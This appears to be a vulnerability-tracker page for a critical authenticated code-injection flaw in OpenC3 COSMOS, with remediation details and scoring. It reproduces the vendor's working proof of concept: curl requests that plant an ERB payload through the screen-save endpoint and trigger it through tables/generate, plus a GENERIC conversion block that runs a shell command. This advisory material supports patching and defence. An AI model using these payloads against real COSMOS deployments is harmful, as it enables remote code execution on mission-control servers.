Skip to main content

OpenC3 COSMOS CVE-2026-77602

| EUVDEUVD-2026-85566 CRITICAL
Code Injection (CWE-94)
2026-09-23 https://github.com/OpenC3/cosmos GHSA-jjq7-m736-w977
9.9
CVSS 3.1 · Vendor: https://github.com/OpenC3/cosmos
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as non-admin operator
  2. Delivery
    Write ERB/GENERIC payload to targets_modified overlay
  3. Exploit
    Trigger table/cmd-tlm/suite config parse
  4. Execution
    Eval executes as openc3 user
  5. Impact
    Abuse Redis/bucket creds across scopes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a valid authenticated session on a COSMOS server (>=5.1.0, <=7.2.1) and network reachability to the API - realistic only on multi-user deployments that expose the web port, since the shipped docker-compose binds Traefik to 127.0.0.1:2900 (localhost-only) on a default single-host install. In the permission-enforcing (Enterprise) edition the attacker needs the system_set/script_edit tier to write the overlay and system/script_view to trigger it - all below the admin/script_run/plugin-install tiers where COSMOS normally gates code execution; in the open-source edition authorize ignores the permission string, so ANY authenticated user qualifies. No admin privileges and no user interaction are required. Persistent cmd/tlm path additionally requires the target's decom/multi microservice to (re)start; the suite path requires OPENC3_SERVICE_PASSWORD to be set, which the shipped .env does.

Impact

This is a genuine high-priority issue, not a high-CVSS-but-low-risk artifact. The CVSS 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) reflects authenticated remote code execution against a network-reachable API, and the technical write-up is unusually strong: a working PoC is embedded in the advisory and the vendor states the ERB table chain was 'confirmed end to end over HTTP against a booted Rails and puma instance,' so publicly available exploit code exists. No EPSS score, CISA KEV entry, or SSVC decision data was provided in the input, so probability-of-exploitation and automatability cannot be quantified from these sources - the risk case rests on the confirmed PoC plus a patched, publicly disclosed root cause rather than on observed in-the-wild activity. The main factor that tempers real-world risk is exposure: the vendor notes the shipped docker-compose binds Traefik to 127.0.0.1:2900, so a default single-host install is only reachable from the host, and the AV:N rating is justified specifically by multi-user deployments that expose the web port. The severity is amplified in the open-source edition, where authorize ignores the permission string entirely, collapsing the PR:L requirement to 'any authenticated user.' Net: prioritize patching for any multi-operator COSMOS deployment; single-host localhost-only installs are lower urgency but still exposed to any local authenticated user.

Exploit ScenarioDerived

An authenticated non-admin operator on a multi-user COSMOS deployment saves a screen (or uploads a target file) whose body contains an ERB tag or a GENERIC_*_CONVERSION block, writing it into the user-writable targets_modified/ overlay that is exempt from the admin gate. They then invoke a table, cmd/tlm, or Script Runner suite action that reads and evaluates that overlay file, executing arbitrary Ruby/Python as the openc3 user inside the cmd-tlm-api or decom microservice. A copy-pasteable PoC is published in the advisory and the ERB table chain was confirmed end-to-end over HTTP by the vendor.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 23, 2026

Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in user, including one with only low-tier permissions, execute arbitrary Ruby and Python code on the COSMOS server and its per-target decom microservices. COSMOS reads configuration from a user-writable overlay (targets_modified/) before its read-only targets/ tree and then executes that content - rendering it as ERB, eval-ing GENERIC_READ/WRITE_CONVERSION blocks, or require-ing Script Runner procedure files - so an attacker who can write to the overlay via the screen-save or storage-upload endpoints achieves code execution as the openc3 user, which holds Redis and object-store credentials and sits on the internal service network. A working proof-of-concept is published in the vendor GitHub advisory, and the vendor has released 7.3.0 as the fix; no confirmed active exploitation (CISA KEV) has been reported. Reachability is limited on default single-host installs because the shipped docker-compose binds Traefik to 127.0.0.1:2900, so exploitation is realistic on multi-user deployments that expose the web port.

RemediationAI

Upgrade to OpenC3 COSMOS 7.3.0, the vendor-released patch for rubygems/openc3, which fixes all three code-execution sinks as described in advisory GHSA-jjq7-m736-w977 (https://github.com/OpenC3/cosmos/security/advisories/GHSA-jjq7-m736-w977). The fix is delivered by PR https://github.com/OpenC3/cosmos/pull/3488 with commits 71943352a28128ef3e7e894319d97a656b5cd4f2 and 7a1538a4626f82c0d1540fcaa27ffdcbbd71ff81, and its core changes are: storage_controller#non_admin_config_overlay_write? now rejects non-canonical object keys (empty, '.' or '..' segments, leading/trailing slashes) so a positional path check cannot be bypassed by a key the object store normalizes differently, and non-admins may no longer write the cmd_tlm overlay (config/SCOPE/targets_modified/TARGET/cmd_tlm/...) at all; tables_controller funnels every writer (save, save_as, generate, destroy) through an authorize_overlay_write choke point; and the config readers are changed to load definition files from the read-only targets/ tree only, or to parse the targets_modified overlay with ERB disabled (run_erb=false) - dynamic packet definitions are structural and do not need ERB, so that feature does not regress. The Python implementation must be mirrored. If immediate upgrade is not possible, the shipped compose binding of Traefik to 127.0.0.1:2900 keeps a default single-host install off the network, so the highest-value compensating control is to preserve or enforce that localhost-only bind and never expose port 2900 to untrusted users; note that this fully removes remote exploitability but breaks remote operator access and any multi-user workflow. A second partial control is to avoid granting the system_set (storage upload, screen save), script_edit (script create), system and script_view tiers to untrusted accounts in the permission-enforcing edition - this raises the bar for the persistent cmd/tlm path but is ineffective in the open-source edition, where authorize ignores the permission string and any authenticated user qualifies, so RBAC tuning cannot substitute for the patch there. Unsetting OPENC3_SERVICE_PASSWORD disables the Script Runner suite-analysis subprocess and therefore the suite require sink, but it also disables legitimate suite analysis functionality; the storage-upload and screen-save sinks remain reachable regardless, and the table-definition and GENERIC-conversion sinks (tables#generate/report/load) are still triggerable at the system tier. There is no vendor-released configuration switch that disables ERB rendering in the unpatched code, so the overlay must be treated as untrusted input until 7.3.0 is deployed.

Affected VersionsENISA

cosmos 5.1.0, < 7.3.0

Affected Packages

rubygems openc3 fix: 7.3.0
euvd cosmos_5_1_0 fix: 7.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in rubygems, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-94 (improper control of generation of code) combined with a precedence flaw in configuration lookup. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb and the mirrored Python openc3/python/openc3/utilities/target_file.py) resolves {scope}/targets_modified/{name} before {scope}/targets/{name}, making the overlay an authoritative source of configuration content. COSMOS then treats that configuration as executable code through three distinct sinks: (1) ConfigParser#parse_file renders every file through ERB.new(...).result before parsing, and run_erb defaults to true; (2) PacketConfig and TableConfig build a GenericConversion from GENERIC_READ_CONVERSION_START/END and GENERIC_WRITE_CONVERSION_START/END blocks and GenericConversion#call performs eval(@code_to_eval) in Ruby (compile()/exec()/eval() in Python), independently of ERB; (3) the Script Runner suite analysis in openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb performs require ARGV[1], executing all top-level code of the supplied procedure file when OPENC3_SERVICE_PASSWORD is configured (it is, in the shipped .env). Two controllers expose writers into the overlay below the admin gate: storage_controller#get_upload_presigned_request is gated at system_set and historically exempted targets_modified/ and tmp/ from its admin check, and screens_controller#create stores its request body verbatim under targets_modified/<target>/screens/. Persistence differs by sink - table definitions and suite files execute immediately on the triggering request, while a cmd/tlm overlay file is copied by System.setup_targets and processed by PacketConfig in the decom/multi microservices, executing on the next microservice (re)start. The affected package is pkg:rubygems/openc3 (CPE pkg:rubygems/openc3), spans both the Ruby and Python implementations, and the Script Runner sink means the same weakness is not Ruby-only.

Know when Ruby gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/OpenC3/cosmos) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Authenticated low-priv (PR:L) network-reachable RCE with no user interaction; scope changes (S:C) as code runs in other microservices holding Redis/bucket creds across scopes, full triad impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/OpenC3/cosmos).

CVSS VectorVendor: https://github.com/OpenC3/cosmos

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

  1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
  2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
  3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

ruby
# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

ruby
# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

ruby
# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]
# runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

bash
BASE=http://localhost:2900/openc3-api
# adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')
# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'
# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

  • Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
  • Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
  • Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
  • Mirror the definition-read change in the Python implementation.

Technical POC Analysis

CWE-94 code injection in the COSMOS config pipeline.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

OpenC3 COSMOS, the ground-segment command and control platform used to operate spacecraft and other mission-critical systems, allows any user holding even a low-privilege account to run arbitrary code on the COSMOS server and its per-target processing services - so an insider, a compromised operator credential, or a shared service account is sufficient to take control of the mission environment. The vendor has released a fix (7.3.0) and a working proof-of-concept is published; no confirmed active exploitation (CISA KEV) has been reported. Exposure is concentrated on multi-host and network-reachable deployments, where a compromised service account carries Redis and object-store credentials that could allow lateral movement across the internal service network.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Low
niche OSS satellite/aerospace ground-station command-and-control software
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

71
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Ruby

View all
CVE-2017-17405 HIGH POC
8.8 Dec 15

Ruby before 2.4.3 allows Net::FTP command injection. Rated high severity (CVSS 8.8), this vulnerability is remotely expl

CVE-2017-17790 CRITICAL POC
9.8 Dec 20

The lazy_initialize function in lib/resolv.rb in Ruby through 2.4.3 uses Kernel#open, which might allow Command Injectio

CVE-2017-14064 CRITICAL POC
9.8 Aug 31

Ruby through 2.2.7, 2.3.x through 2.3.4, and 2.4.x through 2.4.1 can expose arbitrary memory during a JSON.generate call

CVE-2016-2336 CRITICAL POC
9.8 Jan 06

Type confusion exists in two methods of Ruby's WIN32OLE class, ole_invoke and ole_query_interface. Rated critical severi

CVE-2026-44266 CRITICAL POC
9.8 Nov 03

Ruby code execution in Elo (npm @enspirit/elo) through 1.0.0 lets an attacker who controls Elo source gain arbitrary Rub

CVE-2016-2337 CRITICAL POC
9.8 Jan 06

Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Rated critical severity (CVSS 9.8), this vulnerabilit

CVE-2016-2339 CRITICAL POC
9.8 Jan 06

An exploitable heap overflow vulnerability exists in the Fiddle::Function.new "initialize" function functionality of Rub

CVE-2017-9225 CRITICAL POC
9.8 May 24

An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7

CVE-2026-27614 CRITICAL POC
9.3 Feb 25

Stored XSS in Bugsink error tracking tool before 2.0.13 allows unauthenticated attackers to inject persistent scripts th

CVE-2017-0898 CRITICAL POC
9.1 Sep 15

Ruby before 2.4.2, 2.3.5, and 2.2.8 is vulnerable to a malicious format string which contains a precious specifier (*) w

CVE-2013-4164 MEDIUM POC
6.8 Nov 23

Heap-based buffer overflow in Ruby 1.8, 1.9 before 1.9.3-p484, 2.0 before 2.0.0-p353, 2.1 before 2.1.0 preview2, and tru

CVE-2026-71847 HIGH POC
8.7 Aug 07

Heap-use-after-free in the Ruby json gem's native C extension (versions 2.20.0 through 2.21.1) allows an unauthenticated

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy